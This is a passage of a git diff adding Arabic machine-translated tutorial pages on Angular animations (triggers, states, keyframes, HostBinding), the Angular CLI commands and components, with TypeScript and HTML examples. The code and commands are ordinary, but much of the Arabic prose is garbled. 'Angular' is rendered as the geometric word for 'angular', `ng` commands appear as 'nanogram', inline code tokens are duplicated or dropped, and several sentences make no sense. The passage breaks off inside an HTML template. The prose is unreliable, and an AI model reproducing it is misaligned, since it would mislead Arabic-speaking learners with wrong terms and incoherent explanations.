+ربما لاحظت `AnimationStyleMetadata` عدة مرات في القائمة السابقة. إرجاع مكون `style(...)` هذا النوع الدقيق من البيانات التعريفية. أينما تطبق أنماط CSS ، يجب استدعاء `style(...)` . كائن يحتوي على أنماط CSS يدور حول وسيطته.
+
+وبطبيعة الحال ، فإن الأنماط المتحركة في CSS تتحول إلى `style(...)` الزاوي `style(...)` . منح ، لا شيء مستحيل ل CSS يصبح فجأة ممكن مع الرسوم المتحركة Angular.
+
+##### تحريك (توقيت: string | number، AnimationStyleMetadata | AnimationKeyframesMetadata)
+
+تقبل الدالة `animate(...)` تعبير توقيت كوسيطة الأولى الخاصة به. هذه الوسيطة الأوقات ، و paces ، و / أو يؤخر الرسوم المتحركة للطريقة. تقبل هذه الوسيطة إما رقم أو تعبير سلسلة. وأوضح التنسيق [هنا](https://angular.io/api/animations/animate#usage) .
+
+الوسيطة الثانية من الحركة `animate(...)` هي خاصية CSS تستدعي الرسوم المتحركة. هذا يأخذ شكل `style(...)` الذي إرجاع `AnimationStyleMetadata` . فكر في الحركة `animate(...)` كالطريقة التي تبدأ الرسوم المتحركة.
+
+يمكن أيضًا تطبيق سلسلة من الإطارات المفتاحية على الوسيطة الثانية. الإطارات الأساسية هي خيار أكثر تقدمًا تشرحه هذه المقالة لاحقًا. إطارات مفتاحية تميز الأقسام المختلفة من الرسوم المتحركة.
+
+قد لا تتلقى `animate(...)` وسيطة ثانية. في هذه الحالة ، لا ينطبق توقيت الرسوم المتحركة للطريقة إلا على CSS المنعكسة في أساليب `state(...)` . تغييرات الخاصية في حالة المشغل `state(...)` سوف تحرك.
+
+##### الانتقال (changExpr: string، AnimationMetadata | AnimationMetadata \[\]، options ؟: object)
+
+تبدأ `animate(...)` رسوم متحركة بينما يحدد `transition(...)` أي رسوم متحركة تبدأ.
+
+تتكون الوسيطة الأولى من شكل فريد للبنية الدقيقة. يدل على حدوث تغيير في الحالة (أو التغيير في البيانات). تحدد البيانات المرتبطة بربط رسوم القالب ( `[selector]="value"` ) هذا التعبير. يشرح القسم التالي بعنوان "حالة الرسوم المتحركة" هذا المفهوم أكثر قليلاً.
+
+تتضمن الوسيطة الثانية من `transition(...)` `AnimationMetadata` (تم إرجاعها بواسطة `animate(...)` ). تقبل الوسيطة إما مصفوفة `AnimationMetadata` أو نسخة واحدة.
+
+تتطابق قيمة الوسيطة الأولى مع قيمة البيانات المرتبطة في القالب ( `[selector]="value"` ). في حالة حدوث مطابقة كاملة ، يتم تقييم الحجة بنجاح. ثم تبدأ الوسيطة الثانية في رسم متحرك استجابة لنجاح الأول.
+
+تشغل قائمة الخيارات بشكل اختياري الوسيطة الثالثة. يجب أن تبقى خيارات `transition(...)` الافتراضية `transition(...)` دون تغيير ما لم يكن هناك سبب آخر.
+
+##### مثال للرسوم المتحركة
+
+ ``import { Component, OnInit } from '@angular/core'; 
+ import { trigger, state, style, animate, transition } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h3>Click the button to change its color!</h3> 
+  <button (click)="toggleIsCorrect()"     // event binding 
+    [@toggleClick]="isGreen">Toggle Me!</button>  // animation binding 
+    `, 
+    animations: [       // metadata array 
+      trigger('toggleClick', [     // trigger block 
+      state('true', style({      // final CSS following animation 
+        backgroundColor: 'green' 
+      })), 
+      state('false', style({ 
+        backgroundColor: 'red' 
+      })), 
+      transition('true => false', animate('1000ms linear')),  // animation timing 
+      transition('false => true', animate('1000ms linear')) 
+    ]) 
+  ]        // end of trigger block 
+ }) 
+ export class ExampleComponent { 
+  isGreen: string = 'true'; 
+ 
+  toggleIsCorrect() { 
+    this.isGreen = this.isGreen === 'true' ? 'false' : 'true'; // change in data-bound value 
+  } 
+ } 
+`` 
+
+يقوم المثال أعلاه بإجراء مبادلة ألوان بسيطة مع كل نقرة زر. وبطبيعة الحال ، فإن اللون ينتقل بسرعة في الخبو الخطي حسب `animate('1000ms linear')` . `[@toggleClick]` الرسم المتحرك مع الزر عن طريق مطابقة الوسيطة الأولى من `trigger(...)` إلى ربط الرسوم المتحركة `[@toggleClick]` .
+
+ربط الربط بقيمة `isGreen` من فئة المكون. تحدد هذه القيمة اللون الناتج كما تم تعيينه بواسطة طريقتين `style(...)` داخل كتلة `trigger(...)` . يكون ارتباط الصور المتحرك في اتجاه واحد بحيث تقوم التغييرات في `isGreen` في فئة المكون بإعلام ارتباط القالب. وهذا هو ، ارتباط الرسوم المتحركة `[@toggleClick]` .
+
+يحتوي عنصر الزر في القالب أيضًا على حدث `click` مرتبط به. يؤدي النقر فوق الزر إلى `isGreen` القيم. هذا يغير بيانات فئة المكون. يلتقط رابط الرسوم المتحركة هذا الأمر ويستدعي أسلوب `trigger(...)` المطابقة `trigger(...)` . يقع `trigger(...)` داخل مصفوفة الرسوم المتحركة للبيانات الوصفية للمكون. يحدث شيئان عند استدعاء الزناد.
+
+التواجد الأول يتعلق بطريقتين `state(...)` . تتطابق القيمة الجديدة لـ `isGreen` مع أول وسيطة في `state(...)` . بمجرد أن تتطابق ، يتم تطبيق أنماط CSS `style(...)` على الحالة النهائية لعنصر مضيف الرسوم المتحركة. \`تسري الحالة النهائية بعد كل الرسوم المتحركة.
+
+الآن للحدث الثاني. ويقارن تغيير البيانات الذي يستدعي ارتباط الرسوم المتحركة عبر طريقتين `transition(...)` . واحد منهم يطابق التغيير في البيانات إلى أول حجة لها. نقرة الزر الأول الناتجة هي `isGreen` للانتقال من 'true' إلى 'false' ('true => false'). ويعني هذا أن أول أسلوب `transition(...)` ينشط الحجة الثانية.
+
+تقوم الوظيفة `animate(...)` المقابلة ببدء عملية `transition(...)` تقييمها بنجاح. يحدد هذا الأسلوب مدة لون الرسوم المتحركة تتلاشى مع سرعة التلاشي. ينفذ الرسوم المتحركة ويتلاشى الزر إلى اللون الأحمر.
+
+يمكن أن تحدث هذه العملية أي عدد من المرات بعد النقر فوق زر. سوف `backgroundColor` الزر بين الأخضر والأحمر في الخبو الخطي.
+
+#### حالة الرسوم المتحركة
+
+يستحق بناء الجملة `transition(...)` دقيقة بالتفصيل. يحدد Angular الرسوم المتحركة وتوقيتها من خلال تقييم هذه البنية. هناك التحولات الدولة التالية. فهم يطورون تغييرات في البيانات المرتبطة بربط الرسوم المتحركة.
+
+*   `'someValue' => 'anotherValue'`
+
+مشغل رسوم متحركة حيث تتغير البيانات المرتبطة من "someValue" إلى "anotherValue".
+
+*   `'anotherValue' => 'someValue'`
+
+مشغل رسوم متحركة حيث تتغير البيانات المرتبطة من "anotherValue" إلى "someValue".
+
+*   `'someValue' <=> 'anotherValue'`
+
+تتغير البيانات من "someValue" إلى "anotherValue" أو العكس.
+
+هناك أيضا وجود `void` و `*` الدول. يشير `void` إلى أن المكون إما يدخل أو يخرج من DOM. هذا مثالي للرسوم المتحركة الدخول والخروج.
+
+*   `'someValue' => void` : _ترك_ مكون المضيف للبيانات المرتبطة DOM
+    
+*   `void => 'someValue'` : يتم _إدخال_ مكون المضيف للبيانات المرتبطة في DOM
+    
+
+`*` تشير إلى حالة أحرف بدل. يمكن أن تفسر حالات أحرف البدل إلى "أي دولة". وهذا يشمل `void` بالإضافة إلى أي تغيير آخر في البيانات المرتبطة.
+
+#### إطارات مفتاحية
+
+تناولت هذه المقالة أساسيات تحريك التطبيقات الزاويّة. توجد تقنيات الرسوم المتحركة المتقدمة جنبا إلى جنب مع هذه الأساسيات. إن تجميع الإطارات الرئيسية معًا هو أحد هذه التقنيات. مستوحاة من قاعدة `@keyframes` . إذا كنت قد عملت مع `@keyframes` ، فأنت بالفعل تفهم كيفية عمل الإطارات المفتاحية في العمل الزاوي. يصبح مجرد مسألة بناء الجملة
+
+تستورد طريقة `keyframes(...)` من `@angular/animations` . يمرر في الوسيطة الثانية من `animate(...)` بدلاً من `AnimationStyleMetadata` النموذجية. تقبل طريقة `keyframes(...)` وسيطة واحدة كصفيف من `AnimationStyleMetadata` . هذا يمكن أيضاً الإشارة إليه على أنه صفيف من أساليب `style(...)` .
+
+يذهب كل إطار مفتاحي للرسوم المتحركة داخل صف `keyframes(...)` . عناصر الإطار الرئيسي هذه هي أساليب `style(...)` تدعم خاصية `offset` . يشير `offset` إلى نقطة في مدة الرسم المتحرك حيث يجب تطبيق خصائص النمط المصاحب لها. تمتد قيمته من 0 (بداية الرسوم المتحركة) إلى 1 (نهاية الرسوم المتحركة).
+
+ ``import { Component } from '@angular/core'; 
+ import { trigger, state, style, animate, transition, keyframes } from '@angular/animations'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  styles: [ 
+    `.ball { 
+      position: relative; 
+      background-color: black; 
+      border-radius: 50%; 
+      top: 200px; 
+      height: 25px; 
+      width: 25px; 
+    }` 
+  ], 
+  template: ` 
+  <h3>Arcing Ball Animation</h3> 
+  <button (click)="toggleBounce()">Arc the Ball!</button> 
+  <div [@animateArc]="arc" class="ball"></div> 
+  `, 
+  animations: [ 
+    trigger('animateArc', [ 
+      state('true', style({ 
+        left: '400px', 
+        top: '200px' 
+      })), 
+      state('false', style({ 
+        left: '0', 
+        top: '200px' 
+      })), 
+      transition('false => true', animate('1000ms linear', keyframes([ 
+        style({ left: '0',     top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '400px', top: '200px', offset: 1 }) 
+      ]))), 
+      transition('true => false', animate('1000ms linear', keyframes([ 
+        style({ left: '400px', top: '200px', offset: 0 }), 
+        style({ left: '200px', top: '100px', offset: 0.50 }), 
+        style({ left: '0',     top: '200px', offset: 1 }) 
+      ]))) 
+    ]) 
+  ] 
+ }) 
+ export class ExampleComponent { 
+  arc: string = 'false'; 
+ 
+  toggleBounce(){ 
+    this.arc = this.arc === 'false' ? 'true' : 'false'; 
+  } 
+ } 
+`` 
+
+الاختلاف الرئيسي في المثال أعلاه مقارنة مع المثال الآخر هو الوسيطة الثانية من `animate(...)` . يحتوي الآن على أسلوب `keyframes(...)` يستضيف مصفوفة من الإطارات المفتاحية للرسوم المتحركة. في حين أن الرسوم المتحركة نفسها هي أيضا مختلفة ، وتقنية لتحريك مماثل.
+
+يؤدي النقر فوق الزر إلى ظهور الزر للقوس عبر الشاشة. يتحرك القوس حسب عناصر مصفوفة الطريقة في `keyframes(...)` (إطارات مفتاحية). في منتصف نقطة الرسوم المتحركة ( `offset: 0.50` ) ، تغير الكرة المسار. ينحدر إلى ارتفاعه الأصلي بينما يستمر عبر الشاشة. النقر فوق الزر مرة أخرى يعكس الرسوم المتحركة.
+
+`left` `top` هي خصائص متحركة بعد تحديد `position: relative;` لهذا العنصر. يمكن أن تقوم خاصية `transform` بعمل رسوم متحركة مماثلة. `transform` خاصية ممتدة تماما ولكن متحركة.
+
+يمكن أن يوجد أي عدد من الإطارات المفتاحية الموجودة بين الإزاحة 0 و 1. تأخذ تتابعات الرسوم المتحركة المعقدة شكل إطارات مفتاحية keyframes. فهي واحدة من العديد من التقنيات المتقدمة في الرسوم المتحركة Angular.
+
+### الرسوم المتحركة مع المضيف ملزم
+
+ستواجه بدون شك الحالة التي تريد فيها إرفاق صورة متحركة بعنصر HTML في أحد المكونات نفسها ، بدلاً من عنصر في قالب المكون. هذا يتطلب المزيد من الجهد لأنه لا يمكنك الذهاب إلى HTML النموذج وإرفاق الرسوم المتحركة هناك. بدلاً من ذلك ، سيكون عليك استيراد `HostBinding` واستخدام ذلك.
+
+يتم عرض الرمز الأدنى لهذا السيناريو أدناه. سأعيد استخدام نفس حالة الرسوم المتحركة للشفرة أعلاه للاتساق ولا أقوم بعرض أي من رموز الرسوم المتحركة الفعلية حيث يمكنك بسهولة العثور على ذلك أعلاه.
+
+ `import { Component, HostBinding } from '@angular/core'; 
+ 
+ @Component({ 
+ ... 
+ }) 
+ export class ExampleComponent { 
+  @HostBinding('@animateArc') get arcAnimation() { 
+    return this.arc; 
+  } 
+ } 
+` 
+
+الفكرة الكامنة وراء تحريك مكون المضيف تشبه إلى حد كبير تحريك عنصر من القالب مع الاختلاف الوحيد وهو عدم الوصول إلى العنصر الذي تقوم بتحريكه. لا يزال لديك لتمرير اسم الرسوم المتحركة ( `@animateArc` ) عندما يعلن `HostBinding` ولا يزال لديك للعودة للحالة الراهنة للرسوم المتحركة ( `this.arc` ). لا يمثل اسم الدالة مادة فعلية ، لذلك `arcAnimation` الممكن تغيير `arcAnimation` إلى أي شيء ، طالما أنها لا تتعارض مع أسماء الخصائص الموجودة على المكون ، وستعمل بشكل جيد تمامًا.
+
+#### استنتاج
+
+يغطي هذا أساسيات الرسوم المتحركة مع Angular. يجعل Angular إعداد الرسوم المتحركة أمرًا سهلاً للغاية باستخدام CLI Angular. يتطلب استخدام الرسوم المتحركة لأول مرة فئة واحدة فقط. تذكر ، نطاق الرسوم المتحركة إلى قالب المكون. قم بتصدير مصفوفة الانتقالات الخاصة بك من ملف منفصل إذا كنت تخطط لاستخدامها عبر مكونات متعددة.
+
+كل تصدير فائدة / طريقة للرسوم المتحركة من `@angular/animations` . انهم جميعا يعملون معا لتوفير نظام قوي من الرسوم المتحركة مستوحاة من CSS. هناك طرق أكثر مما يمكن أن تغطيه هذه المقالة.
+
+الآن بعد أن تعرفت على الأساسيات ، لا تتردد في استكشاف الروابط أدناه لمزيد من المعلومات عن الحركات الزاحفة.
+
+## مصادر
+
+*   [فريق الزاوي. "الرسوم المتحركة". _جوجل_ . تم الوصول إليه في 7 يونيو 2018.](https://angular.io/guide/animations)
+*   [فريق الزاوي. "حزمة الرسوم المتحركة". _جوجل_ . تم الوصول إليه في 7 يونيو 2018.](https://angular.io/api/animations)
+
+## مصادر
+
+*   [وثائق الزاوي](https://angular.io/guide)
+*   [Angular Animations Tutorial](https://angular.io/guide/animations)
+*   [Angular Animations API](https://angular.io/api/animations)
+*   [Angular GitHub Repository](https://github.com/angular/angular)
+*   [الزاوي CLI](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/command-line-interface/index.md b/client/src/guide/arabic/angular/command-line-interface/index.md
new file mode 100644
index 0000000000..d28f65077f
--- /dev/null
+++ b/client/src/guide/arabic/angular/command-line-interface/index.md
@@ -0,0 +1,130 @@
+---
+title: Command-line Interface
+localeTitle: واجهة خط الأوامر
+---
+## واجهة خط الأوامر
+
+#### التحفيز
+
+يرتبط Angular ارتباطًا وثيقًا بواجهة سطر الأوامر الخاصة به (CLI). يبسط CLI جيل نظام الملفات الزاوي. إنه يتعامل مع معظم التكوينات خلف الكواليس حتى يستطيع المطورون بدء الترميز. يحتوي CLI أيضًا على منحنى تعليمي منخفض يوصى به لأي وافد جديد يريد الانتقال مباشرة. Heck ، حتى من مطوري Angular ذوي الخبرة يعتمدون على CLI!
+
+#### التركيب
+
+يتطلب CLI Angular [Node.js و Node Packet Manager (NPM)](https://nodejs.org/en/) . يمكنك التحقق من وجود هذه البرامج باستخدام الأمر terminal: `node -v; npm -v` . وبمجرد تثبيتها ، قم بفتح مطراف وتثبيت CLI Angular باستخدام هذا الأمر: `npm install -g @angular/cli` . يمكن تنفيذ ذلك من أي مكان على نظامك. تم تكوين CLI للاستخدام العام مع العلم `-g` .
+
+تحقق من وجود CLI باستخدام الأمر: `ng -v` . هذا يخرج عدة أسطر من المعلومات. واحد من هذه الخطوط تنص على نسخة من CLI المثبتة.
+
+تعرف على أن `ng` هي لبنة البناء الأساسية لـ CLI. سوف تبدأ جميع الأوامر الخاصة بك مع `ng` . الوقت لإلقاء نظرة على أربعة من أكثر الأوامر الشائعة المسبقة بـ `ng` .
+
+#### الأوامر الرئيسية
+
+*   نانوغرام جديد
+    
+*   نانجو خدمة
+    
+*   نانوغرام تولد
+    
+*   بناء ng
+    
+*   تحديث نانوغرام
+    
+
+الشروط الأساسية لكل من هذه الأمور هي قول جيد. معا ، فإنها تشمل ما ستحتاج إليه لتصل إلى الأرض مع Angular. بالطبع ، هناك الكثير. جميع الأوامر مبينة في [GitHub Documentation 1](https://github.com/angular/angular-cli/wiki#additional-commands) . من المحتمل أن تجد أن الأوامر المذكورة أعلاه ستغطي القواعد الضرورية.
+
+#### نانوغرام جديد
+
+`ng new` بإنشاء نظام ملفات Angular _جديد_ . هذه عملية سريالية. يرجى الانتقال إلى موقع ملف مرغوب فيه لإنشاء تطبيقات _جديدة_ . اكتب هذا الأمر على النحو التالي ، مع استبدال `[name-of-app]` بكل ما تريد: `ng new [name-of-app]` .
+
+يجب أن يظهر نظام الملفات أسفل المجلد `[name-of-app]` . لا تتردد في استكشاف ما يكمن في. حاول عدم إجراء أي تغييرات حتى الآن. كل ما تحتاجه لتشغيل تطبيق Angular الأول الخاص بك يأتي مجمعة معًا في نظام الملفات الذي تم إنشاؤه.
+
+#### نانجو خدمة
+
+لتشغيل التطبيق ، يجب تنفيذ أمر `ng serve` داخل مجلد `[name-of-app]` . في أي مكان داخل المجلد سوف تفعل. يجب على CLI Angular التعرف على أنه داخل بيئة تم إنشاؤها باستخدام `ng new` . سيتم تشغيله بشرط شرط واحد. المضي قدما `ng serve` : `ng serve` .
+
+يتم تشغيل التطبيق على المنفذ 4200 بشكل افتراضي. يمكنك عرض تطبيق Angular بالانتقال إلى `localhost:4200` في أي متصفح ويب. أعمال Angular عبر جميع المتصفحات. إلا إذا كنت تستخدم إصدارًا قديمًا من Internet Explorer ، فسيظهر التطبيق. يعرض الشعار الرسمي Angular إلى جانب قائمة من الروابط المفيدة.
+
+حسنا ، يعمل التطبيق. ومن المأمول أن تعمل ، ولكن عليك أن تعرف ما يجري تحت غطاء محرك السيارة. ارجع إلى نظام ملفات `[name-of-app]` . انتقل `[name-of-app] -> src -> app` . وهنا تكمن الملفات المسؤولة عن ما شاهدته في `localhost:4200` .
+
+#### نانوغرام تولد
+
+تحدد ملفات `.component` مكونًا Angular بما في ذلك المنطق ( `.ts` ) والأسلوب ( `.css` ) `.spec.ts` ( `.html` ) والاختبار ( `.spec.ts` ). و `app.module.ts` تبرز بشكل خاص. معا ، تعمل هاتان المجموعتان من الملفات معاً `component` `module` . كل من `component` `module` هما مثالان منفصلان عن مخططات الزوايا. تصنف _الرياضيات_ الكتل المختلفة ذات الأغراض المحددة من الكود _القابل للتوليد_ مع `ng generate` .
+
+من أجل هذه المقالة ، فهم أن `module` بتصدير واستيراد الأصول من شجرة المكونات الأساسية وإليها. يتعلق أحد `component` بجزء واحد من واجهة المستخدم. يظل منطق هذه الوحدة `.component` ملفات `.component` المختلفة.
+
+أما بالنسبة إلى `ng generate` ، فيمكن لهذا الأمر إنشاء هياكل عظمية لكلٍّ من [المخططين الزاويين](https://github.com/angular/angular-cli/wiki/generate#available-schematics) المتوفرين [2](https://github.com/angular/angular-cli/wiki/generate#available-schematics) . انتقل إلى `[name-of-app -> src -> app]` . حاول إنشاء `component` جديد عن طريق تنفيذ: `ng generate component [name-of-component]` . استبدل `[name-of-component]` بكل ما تريد. سيظهر ملف جديد `[name-of-component]` مع ملفات `component` الضرورية.
+
+يمكنك أن ترى أن `ng generate` [رمز تعميم](https://en.wikipedia.org/wiki/Boilerplate_code) Angular's. `ng generate` أيضا الأسلاك الامور. ترتبط الرياضيات التي يتم إنشاؤها في سياق نظام الملفات الزاوية بالوحدة الأساسية للنظام. في هذه الحالة ، سيكون ملف `app.module.ts` داخل `[name-of-app -> src -> app]` .
+
+#### بناء ng
+
+Angular هو أداة أمامية. تقوم CLI بعملياتها نيابة عن الواجهة الأمامية. `ng serve` يعتني الإعداد خادم النهاية الخلفية. هذا يبقي التطوير يركز بالكامل على الواجهة الأمامية. ومع ذلك ، يجب أن يكون الاتصال بنهاية الخلفية الخاصة بك لتطبيق Angular ممكنًا أيضًا.
+
+`ng build` يلبي هذه الحاجة. قبل تجربة ذلك داخل نظام الملفات. انتقل إلى `[name-of-app] -> angular.json` . ابحث عن سطر الشفرة المفرد هذا: `"outputPath": "dist/my-app"` .
+
+يحدد هذا السطر من التكوين مكان `ng build` dumps نتائجها. النتائج هي تطبيق Angular بأكمله تم تجميعه في مجلد واحد `dist/my-app` . داخل هذا المجلد ، يوجد `index.html` . يمكن تشغيل التطبيق Angular بأكمله مع `index.html` . لا يلزم `ng serve` من هنا. مع هذا الملف ، يمكنك بسهولة ربط نهاية ظهرك.
+
+اعطها الذهاب: `ng build` . مرة أخرى ، يجب تنفيذ ذلك داخل نظام الملفات الزاوي. استنادًا إلى القيمة الأساسية لـ `“outputPath:”` في `angular.json` . سيولد ملف حيث تم ترجمة التطبيق الأصلي بالكامل. إذا احتفظت بـ `“outputPath:”` ، فسيكون التطبيق المجمع في: `[name-of-app] -> dist -> [name-of-app]` .
+
+#### تحديث نانوغرام
+
+في التحديث الزاوي cli ng قم بتحديث تلقائي على كل الحزم الزاويّة و npm إلى أحدث الإصدارات.
+
+هنا يمكن استخدام البنية والخيارات مع `ng update` .
+
+`ng update [package]`
+
+**خيارات**
+
+*   ركض جاف `--dry-run (alias: -d)`
+    
+    من خلال تشغيل دون إجراء أي تغييرات.
+    
+*   فرض `--force`
+    
+    إذا كان خطأ ، فسيحدث خطأ إذا كانت الحزم المثبتة غير متوافقة مع التحديث.
+    
+*   الكل `--all`
+    
+    سواء لتحديث جميع الحزم في package.json.
+    
+*   التالى `--next`
+    
+    استخدم الإصدار الأكبر ، بما في ذلك إصدار beta و RCs.
+    
+*   الهجرة فقط `--migrate-only`
+    
+    فقط إجراء الترحيل ، لا يتم تحديث الإصدار المثبت.
+    
+*   من عند `--from`
+    
+    الإصدار الذي سيتم الانتقال منه. متاح فقط مع حزمة واحدة يتم تحديثها ، وفقط عند الترحيل فقط.
+    
+*   إلى `--to`
+    
+    الإصدار الذي يصل إليه تطبيق عمليات الترحيل. متاح فقط مع حزمة واحدة يتم تحديثها ، وفقط في عمليات الترحيل فقط. يتطلب من أن يتم تحديده. الافتراضي إلى النسخة المثبتة المكتشفة.
+    
+*   سجل `--registry`
+    
+    سجل NPM لاستخدام.
+    
+
+#### استنتاج
+
+هذه الأوامر تلبي الأساسيات. إن CLI في Angular هي خدمة رائعة تساعد على تسريع عملية إنشاء التطبيقات وتكوينها وتوسيعها. إنه يفعل كل هذا مع الحفاظ على المرونة ، مما يسمح للمطور بإجراء التغييرات اللازمة.
+
+يرجى مراجعة هذه الروابط على `localhost:4200` إذا لم تكن قد قمت بذلك بالفعل. لا تنسَ تشغيل `ng serve` قبل فتحه. مع فهم أفضل لـ CLI ، أنت الآن على استعداد لمعرفة المزيد حول ما يتم إنشاؤه بواسطة الأوامر الأكثر أهمية.
+
+### مصادر
+
+1.  [جوجل. "angular / angular-cli / wiki # additional-commands." GitHub.](https://github.com/angular/angular-cli/wiki#additional-commands)
+    
+2.  [جوجل. "angular / angular-cli / wiki / generate # available-schematics." GitHub.](https://github.com/angular/angular-cli/wiki/generate#available-schematics)
+    
+
+### مصادر
+
+*   [Angular CLI Website](https://cli.angular.io)
+    
+*   [الزاوي CLI README](https://github.com/angular/angular-cli#angular-cli)
+    
+*   [توثيق CLI للزاوية](https://github.com/angular/angular-cli/wiki)
\ No newline at end of file
diff --git a/client/src/guide/arabic/angular/components/index.md b/client/src/guide/arabic/angular/components/index.md
new file mode 100644
index 0000000000..ecf711b483
--- /dev/null
+++ b/client/src/guide/arabic/angular/components/index.md
@@ -0,0 +1,267 @@
+---
+title: Components
+localeTitle: المكونات
+---
+# المكونات
+
+#### التحفيز
+
+الزاوي يحتوي على العديد من _الخطط_ لبناء التطبيقات. المكونات هي واحدة من هذا التخطيطي. وهي تشمل وحدة واحدة من المنطق المعني بجزء واحد من التطبيق. غالبًا ما تشترك المكونات مع الخطط الأخرى لتعمل بشكل أكثر فاعلية.
+
+من بين جميع الخطط ، تميل المكونات إلى الاستهلاك أكثر من توفيرها. في حين أن الخطط الأخرى مثل التوجيهات والأنابيب والخدمات توفر فائدة ، فإن المكونات تستخدم. هم مسؤولون عن واجهة التطبيق لذلك فمن المنطقي لماذا تستهلك فائدة.
+
+مكونات تبسيط التطبيق. يُعد هدف التحويل الأساسي إلى قسم واحد من الواجهة المرئية الهدف الأساسي. لإنشاء تطبيقات خطوة بخطوة ، يجب إنشاء مكون تلو المكوِّن. تعمل مكونات كتل البناء Angular في كل شيء.
+
+#### مكونات مقدمة
+
+كما ذكر ، تستهلك المكونات المنفعة (الخدمات / الموارد). انها تقف بين منطق الأعمال والعرض لتقديم وحدة متماسكة. يعلق الزاوي آليات مختلفة لكل مكون. تحدد هذه المرفقات فئة كمكون وتحدد قدراتها القياسية.
+
+يجب أن يتعرف الزاوي على المكونات عندما يأتي عبرها. للقيام بذلك ، يجب أن يزيّن `@Component` كل صنف يُقصد منه أن يكون مكونًا. يشير المصممون إلى Angular ما هي الطبقة ".
+
+في حالة المكون ، يجب أن يعرف كيفية التفاعل مع حاقنه ، والتواصل مع قالب ، والانسحاب من قائمة الأنماط ، وتغليف أنماطه ، وهكذا. الزاوي يعتني بمعظم متطلبات المستوى المنخفض. لا يزال المطورون بحاجة إلى تهيئة سلوك أحد المكونات ، واستيراد تبعياته ، وتوسيع منطقه.
+
+لجميع هذه الأشياء ، لدينا فئة المكون. يحتفظ الفصل بكل شيء نسبيًا. إنه يغلف منطق عمل المكون.
+
+#### فئة المكون والبيانات الوصفية
+
+المضي قدما وتثبيت [واجهة سطر الأوامر Angular (CLI)](https://cli.angular.io) . يمكنك معرفة المزيد حول هذا الموضوع من [هذه المقالة](https://guide.freecodecamp.org/angular/command-line-interface) . يعطي الأمر CLI `ng generate component [name-of-component]` الأمر التالي.
+
+ `import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+` 
+
+هذا هو الهيكل الأساسي الأساسي الذي تنشأ منه جميع المكونات الرائعة. `@Component` الديكور `@Component` الجزء الأكثر أهمية. بدون ذلك ، يصبح المثال أعلاه فئة عامة. الزاوي يعتمد على ديكور لتمييز نوع تخطيطي.
+
+`@Component` يتلقى بيانات التعريف ككائن واحد. الديكور هي مجرد وظائف جافا سكريبت تحت غطاء محرك السيارة. يأخذون في الحجج كما هو الحال مع كائن بيانات التعريف. يقوم كائن البيانات الأولية بتكوين التبعيات الأساسية للمكون. كل الحقول تلعب دورا.
+
+*   `selector:` يخبر Angular بإقران المكون بعنصر معين في HTML الخاص بقالب التطبيق.
+    
+*   `templateUrl:` يقبل موقع ملف HTML الخاص بقالب المكون (هذا هو المكان الذي يتم عرض البيانات فيه).
+    
+*   `styleUrls:` يقبل صفيفًا من مواقع ملفات ورقة الأنماط (سلاسل). وتستهدف أوراق الأنماط هذه القالب المخصص للمكون.
+    
+
+فكر في البيانات الوصفية كنقطة كبيرة من التهيئة. يأخذها الديكور بحيث يمكنه توليد البيانات الخاصة بالمكون. _يزين_ الديكور الطبقة الأساسية بالبيانات اللازمة لسلوك صفها. فئة _المكون_ التي هي.
+
+يتم تصدير "توقيع" الفئة بشكل افتراضي بحيث يمكن استيراد المكون. `ngOnInit` أيضا يحصل تنفيذها. `implements` بإرشاد الطلاب إلى تعريف طرق معينة لكل تعريف للواجهة. `ngOnInit` هو خطاف لدورة الحياة.
+
+#### دورة حياة المكون وتغيير الكشف
+
+تستخدم المكونات جميع أنواع الأدوات والخدمات والميزات. الميزة الرئيسية الوحيدة المتاحة للمكونات هي خطاطيف دورة الحياة. يوجد تفسير لكل ربط [على هذه المقالة](https://guide.freecodecamp.org/angular/lifecycle-hooks) .
+
+هناك ثمانية في المجموع وكلها بمثابة وظائف توقيت. وهي تنفذ بشكل مشروط حيث ينتقل المكون من دولة إلى أخرى عن طريق [الكشف عن التغيير](https://blog.angularindepth.com/everything-you-need-to-know-about-change-detection-in-angular-8006c51d206f) . هذه العملية تحدث باستمرار عبر شجرة المكون. يبحث عن التغييرات في البيانات التي تستحق إعادة تقديم القالب.
+
+وقت التحرك. يرجى الرجوع إلى المقالات المذكورة أعلاه لمزيد من المعلومات حول دورة حياة المكونات. إنه يستحق الكثير من الشرح.
+
+#### بيانات المكونات
+
+البيانات تدفع كل شيء. المكونات ليست استثناء. المكونات تغلف جميع بياناتها. لتلقي البيانات خارجياً ، يجب أن يقوم أحد المكونات صراحة بالإعلان عنها. يحتفظ هذا النوع من الخصوصية بالمعلومات من التعارض عبر شجرة المكون.
+
+تحدد البيانات ما يتم عرضه من فئة المكون إلى القالب الخاص به. أي تحديثات لبيانات الفصل (أو على الأقل يجب) تحديث عرض القالب.
+
+ستقوم المكونات في كثير من الأحيان بتهيئة مجموعة من الأعضاء (أو المتغيرات) التي تقوم بتخزين البيانات. يتم استخدامها في جميع أنحاء المنطق فئة مكون للراحة. تغذي هذه المعلومات المنطق الناتج عن القالب وسلوكه. انظر المثال التالي.
+
+ `// ./components/example/example.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { Post, DATA } from '../../data/posts.data'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  username: string; 
+  totalPosts: number; 
+  allPosts: Post[]; 
+ 
+  deletePost(index: number): void { 
+    this.allPosts.splice(index, 1); 
+    this.totalPosts = this.allPosts.length; 
+  } 
+ 
+  ngOnInit(): void { 
+    this.username = DATA.author; 
+    this.totalPosts = DATA.thePosts.length; 
+    this.allPosts = DATA.thePosts; 
+  } 
+ } 
+` 
+
+ `
+<!-- ./components/example/example.component.html --> 
+ 
+ <h1>{{ username }}</h1> 
+ <span>Change Name: </span><input [(ngModel)]="username"> 
+ <h3>Posts: {{ totalPosts }}</h3> 
+ <ul> 
+ <hr/> 
+ <div *ngFor="let post of allPosts; let i=index"> 
